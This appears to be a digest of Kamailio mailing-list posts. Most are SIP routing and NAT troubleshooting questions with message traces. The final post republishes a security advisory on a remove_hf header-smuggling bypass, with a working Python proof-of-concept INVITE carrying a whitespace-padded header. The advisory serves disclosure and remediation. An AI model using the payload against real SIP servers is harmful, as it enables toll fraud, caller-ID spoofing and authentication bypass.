Hi guys,
I am trying to map all History-Info to/from Diversion headers in a given
SIP REQUEST, based on RFC 7544.
I want to ask if you are aware of any module functions that does that?
(e.g. something like convert_history_to_diversion() and
convert_diversion_to_history())
Alternatively, I want to ask you what do you think of such module functions
and in which module would they fit best? e.g. textops/tectopsx/diversion ?!
Thank you,
Stefan
Hello,
Is there any way to add those functions from the nathelper module to the
usrloc module?
*keepalive_timeoutnatping_interval*
I'm looking to use ka_mode feature from the usrloc module in order to have
roundtrip time computed for each extension but because those functions are
missing in the usrloc module and per documentation this functionality
conflicts in some way with nathelper module it's not recommended to have
both modules enabled. Or maybe there is another way to have them
"interconnected"?
Thank you.
Hi,
I have 2 hosts on AWS behind NAT:
One with rtpproxy:
/usr/local/bin/rtpproxy -f -p /run/rtpproxy/rtpproxy.pid -s udp:
0.0.0.0:31500 -A 15.236.230.177 <http://15.236.230.177/15.236.230.177> -l
0.0.0.0 <http://0.0.0.0/0.0.0.0> -m 35000 -M 65000 -d DBUG:LOG_LOCAL5 -u
rtpproxy:rtpproxy -F
The other one, with a kamailio and using only rtpproxy_manage(); without
parameters.
I'm surprised because in my SDP being modified, kamailio is replacing with
its KAMILIO private IP. (not the rtpproxy one)
I see that rtpproxy and kamailio are exchanging data. Nothing obvious
is coming out.
Any obvious mistakes?
Anything you need to help?
Should I switch to another rtp engine?
Regards
Aymeric
--
Antisip - http://www.antisip.com
I am trying to add a record route to my initial invite
but in the logs i can see it says
inserted preset record route
but if i look in the invite there is not record route
here is my config
record_route_preset("mydns:5061;transport=tls", "myip:5060");
Hello,
I’m trying to make a call between 2 users registered (TLS) on two different kamailio instances behind haproxy with NAT handling.
UE1 is registered to kamailio1
UE2 is registered to kamailio2
DMQ and dmq_usrloc are enabled so each kamailio can see all registered users.
What else do I need to do in order to make it work properly?
Thanks,
Joey.
Hello all,
If there is someone that can help with this, that would be rather good!
I can supply further details upon anyone having seen this before.......
In NORMAL operation, I get an INVITE and process this (My Kamailio is
processing SS7 CAMEL, and does an MRSN lookup)
It then makes the INVITE onwards to the MSRN collected.
When answered, I see the 200.
I pass the 200 back to the source of the INVITE
I get the ACK, and use "t_check_trans()" and if that returns true will
route the ACK onward (I am in the ACK path having set Record-route on
the 200)
This all works.
FAILURE occurs when I get INVITE from another source (one step removed
from the generating gateway)
All works as it should *BUT* the t_check_trans() returns FALSE, so I
guess there is a matching issue to the live transaction?
I have tried a "work around" and routed the ACK anyway. This *does*
work, and is routed correctly forward to the original "contact" and the
200 messages stop being repeated.. *BUT* the Kamailio instance here
times out the dialog as the ACK was not seen correctly.
I also popped a "t_check_trans()" into the reply route to test the 200
OK that I get, and that returns TRUE.
Here is the 200 message that I send back to the INVITE sender:
SIP/2.0 200 OK
Via: SIP/2.0/UDP
52.1.2.3;rport=5060;branch=z9hG4bK7bb7.62ce43198ddade3212c715259623a75f.1
Via: SIP/2.0/UDP
149.1.2.3:5060;received=149.1.2.3;rport=5060;branch=z9hG4bK905c7e6e
Record-Route:
<sip:3.1.2.3;lr;ftag=81dd;did=08b.0141;vsf=AAAAAB8ABQMKCAgMAwUCCHgzWEQXXl5WSUNYQ14cUF5t>
Record-Route: <sip:52.1.2.3:5060;lr>
From: "+44128084XXXX" <sip:+44128084XXXX@149.1.2.3>;tag=81dd
To: "+44739790XXXX" <sip:+44739790XXXX@52.1.2.3>;tag=XXgZtQND1H8rD
Call-ID: 9bbd818c-d1c8-4c62-9fed-7878ed05cf721
CSeq: 1 INVITE
Contact: <sip:+44739790XXXX@185.1.2.3:5060;transport=udp>
User-Agent: Ziron
Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REFER,
NOTIFY, PUBLISH, SUBSCRIBE
Supported: timer, path, replaces
Allow-Events: talk, hold, conference, presence, as-feature-event,
dialog, line-seize, call-info, sla, include-session-description,
presence.winfo, message-summary, refer
Content-Type: application/sdp
Content-Disposition: session
Content-Length: 216
P-Asserted-Identity: "Outbound Call" <sip:44780204XXXX@52.1.2.3>
v=0
o=MSX53 11014726 11014726 IN IP4 88.1.2.3
s=sip call
c=IN IP4 88.1.2.3
t=0 0
a=sendrecv
m=audio 14810 RTP/AVP 8 99
a=rtpmap:8 PCMA/8000
a=rtpmap:99 telephone-event/8000
a=fmtp:99 0-15
a=ptime:20
And this is the ACK I get back:
ACK sip:+44739790XXXX@185.1.2.3:5060;transport=udp SIP/2.0
Via: SIP/2.0/UDP
52.1.2.3;branch=z9hG4bK7bb7.cca0ec5a2c96b8fe82344d9835163595.0
Via: SIP/2.0/UDP
149.1.2.3:5060;received=149.1.2.3;rport=5060;branch=z9hG4bK6b8f7781
Contact: sip:+44128084XXXX@149.1.2.3
To: "+44739790XXXX" <sip:+44739790XXXX@52.1.2.3>;tag=XXgZtQND1H8rD
From: "+44128084XXXX" <sip:+44128084XXXX@149.1.2.3>;tag=81dd
Call-ID: 9bbd818c-d1c8-4c62-9fed-7878ed05cf721
CSeq: 1 ACK
User-Agent: PartitionwareTM SIP Toolkit v4.0.30319
Content-Length: 0
Max-Forwards: 69
Allow: INVITE, ACK, CANCEL, BYE, INFO, OPTIONS, PRACK
Supported: timer,100rel
Allow-Events: telephone-event
P-hint: outbound
Any thoughts would be great,
Steve
Hi,
Can someone send me an invite to the Kamailio Slack channel please.
I am sure I used to be a member but I may have used a different email
address.
Apologies if this is not the correct place to post.
Regards,
Peter
--
*Web:* http://pbaines.com
*Email:* peter(a)pbaines.com
Dear Kamailio Users,
posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue.
Advisory follows:
# Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
- Fixed versions: Kamailio v5.4.0
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…>
- Tested vulnerable versions: 5.3.5 and earlier
- Timeline:
- Report date & issue patched by Kamailio: 2020-07-16
- Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23
- Kamailio release with fix: 2020-07-29
- Enable Security advisory: 2020-09-01
## Description
Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name.
Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`.
Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.
## Impact
The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass.
## How to reproduce the issue
We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…>. The following python code could then be used to reproduce the issue:
```python
#!/usr/bin/env python3
sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n"
sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"
sipmsg += "Max-Forwards: 70\r\n"
sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n"
sipmsg += "To: sip:whatever@whatever.local\r\n"
sipmsg += "Call-ID: %s\r\n"
sipmsg += "CSeq: 1 INVITE\r\n"
sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n"
sipmsg += "X-Bypass-me : lol\r\n"
sipmsg += "Content-Length: 237\r\n"
sipmsg += "Content-Type: application/sdp\r\n"
sipmsg += "\r\n"
sipmsg += "v=0\r\n"
sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n"
sipmsg += "s=-\r\n"
sipmsg += "c=IN IP4 127.0.0.1\r\n"
sipmsg += "t=0 0\r\n"
sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"
sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"
sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"
sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"
sipmsg += "a=rtpmap:96 opus/8000/2\r\n"
sipmsg += "a=sendrecv\r\n"
target = ("127.0.0.1",5060)
import socket
import time
from random import randint
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(("0.0.0.0",5088))
r = randint(1000,9999)
data = sipmsg % (r,r,r)
s.sendto(data.encode("utf-8"), target)
while True:
data,addr=s.recvfrom(4096)
print(data.decode("utf-8"))
time.sleep(5)
```
In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-0… in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found.
## Solutions and recommendations
The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded.
Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.
